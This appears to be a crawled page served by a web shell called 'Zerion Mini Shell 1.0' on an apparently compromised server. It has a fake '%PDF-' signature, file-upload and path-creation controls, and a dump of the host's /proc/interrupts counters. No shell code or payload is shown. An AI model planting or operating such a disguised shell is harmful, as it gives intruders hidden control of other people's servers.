%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/proc/
Upload File :
Create Path :
Current File : //proc/thread-self/root/proc/interrupts

           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:          7          0          0          0          0          0          0          0  IR-IO-APIC   2-edge      timer
  8:          0          1          0          0          0          0          0          0  IR-IO-APIC   8-edge      rtc0
  9:          0          0          0          0          0          0          0          0  IR-IO-APIC   9-fasteoi   acpi
 10:          0          0          0          0       7703          0          0          0  IR-IO-APIC  10-edge      ipmi_si
 24:          0          0          0          0          0          0          0          0  DMAR-MSI   0-edge      dmar0
 25:          0          0          0          0          0          0          0          0  IR-PCI-MSI 16384-edge      PCIe PME
 26:          0          0          0          0          0          0          0          0  IR-PCI-MSI 18432-edge      PCIe PME
 27:          0          0          0          0          0          0          0          0  IR-PCI-MSI 475136-edge      PCIe PME
 28:          0          0          0          0          0          0          0          0  IR-PCI-MSI 479232-edge      PCIe PME
 30:          0          0          0          0          0          0          0         40  IR-PCI-MSI 327680-edge      xhci_hcd
 31:          0          0          0          0          0          0          0          0  IR-PCI-MSI 376832-edge      ahci[0000:00:17.0]
 32:        128          0          0        171          0          0          0          0  IR-PCI-MSI 524288-edge      megasas0-msix0
 33:   24749464          0          0          0          0          0          0          0  IR-PCI-MSI 524289-edge      megasas0-msix1
 34:          0   18619796          0          0          0          0          0          0  IR-PCI-MSI 524290-edge      megasas0-msix2
 35:          0          0   13360315          0          0          0          0          0  IR-PCI-MSI 524291-edge      megasas0-msix3
 36:          0          0          0   10645530          0          0          0          0  IR-PCI-MSI 524292-edge      megasas0-msix4
 37:          0          0          0          0    8355747          0          0          0  IR-PCI-MSI 524293-edge      megasas0-msix5
 38:          0          0          0          0          0    9407584          0          0  IR-PCI-MSI 524294-edge      megasas0-msix6
 39:          0          0          0          0          0          0   20895656          0  IR-PCI-MSI 524295-edge      megasas0-msix7
 40:          0          0          0          0          0          0          0   15815821  IR-PCI-MSI 524296-edge      megasas0-msix8
 41:   34267662       6846          0   41828361  115065645    1982534     135239   16588564  IR-PCI-MSI 1572864-edge      eno1-tx-0
 42:          0          0          0   53772287    6419504  372505668  312582407          0  IR-PCI-MSI 1572865-edge      eno1-rx-1
 43:   10822307      14514     757498   10989054    9035919    1523848    2203668   18141735  IR-PCI-MSI 1572866-edge      eno1-rx-2
 44:   14159852      15685    3683616    7290312    4928348    1344967   16517961    4113095  IR-PCI-MSI 1572867-edge      eno1-rx-3
 45:          0 3377595476          0          0          0          0          0          0  IR-PCI-MSI 1572868-edge      eno1-rx-4
NMI:       5387       8167       6142       6572       7533       7105       5630       6886   Non-maskable interrupts
LOC:  334281143  393359289  354583460  308384040  307789740  305686032  493278068  296977033   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:       5387       8167       6142       6572       7533       7105       5630       6886   Performance monitoring interrupts
IWI:          0          4          0          0          0          3          0          1   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:   43736049    8546731    3821327    2542628    2110467    2446614    2139887    2123600   Rescheduling interrupts
CAL:   14611689   14753917   14704159   14782633   14817235   14696758   14621777   14839832   Function call interrupts
TLB:     110546     117805     116593     117447     121206     118268     108892     113905   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:     123766     123767     123767     123767     123767     123767     123767     123767   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0